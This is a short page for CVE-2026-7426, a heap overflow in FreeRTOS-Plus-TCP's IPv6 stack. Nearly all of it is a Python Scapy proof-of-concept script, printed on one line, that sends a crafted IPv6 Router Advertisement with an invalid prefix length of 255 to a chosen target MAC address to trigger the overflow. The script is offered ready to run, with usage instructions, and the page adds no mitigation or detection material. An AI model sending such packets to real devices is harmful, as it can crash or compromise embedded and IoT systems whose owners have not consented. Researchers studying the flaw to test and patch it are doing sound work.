CVE-2026-7426 FreeRTOS-Plus-TCP IPv6堆缓冲区溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-7426: FreeRTOS-Plus-TCP IPv6 RA Overflow # This script sends a crafted IPv6 Router Advertisement with an invalid prefix length. from scapy.all import * import sys def send_malicious_ra(target_mac, interface): # Construct Ethernet header eth = Ether(dst=target_mac, src=RandMAC(), type=0x86DD) # Construct IPv6 header # Source: Link-local address, Destination: All Nodes multicast ipv6 = IPv6(src="fe80::1337", dst="ff02::1") # Construct ICMPv6 Router Advertisement # Default values for RA ra = ICMPv6ND_RA() # Construct Prefix Information Option # Prefix Length set to 255 (Invalid, > 128) to trigger overflow # Valid range is 0-128 prefix_info = ICMPv6NDOptPrefixInfo(prefix="2001:db8::", prefixlen=255) # Assemble packet packet = eth / ipv6 / ra / prefix_info print(f"[*] Sending malicious RA to {target_mac} on {interface}...") sendp(packet, iface=interface, loop=0, verbose=1) if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python3 poc.py <target_mac> <interface>") print("Example: python3 poc.py 00:11:22:33:44:55 eth0") sys.exit(1) target_mac = sys.argv[1] interface = sys.argv[2] send_malicious_ra(target_mac, interface)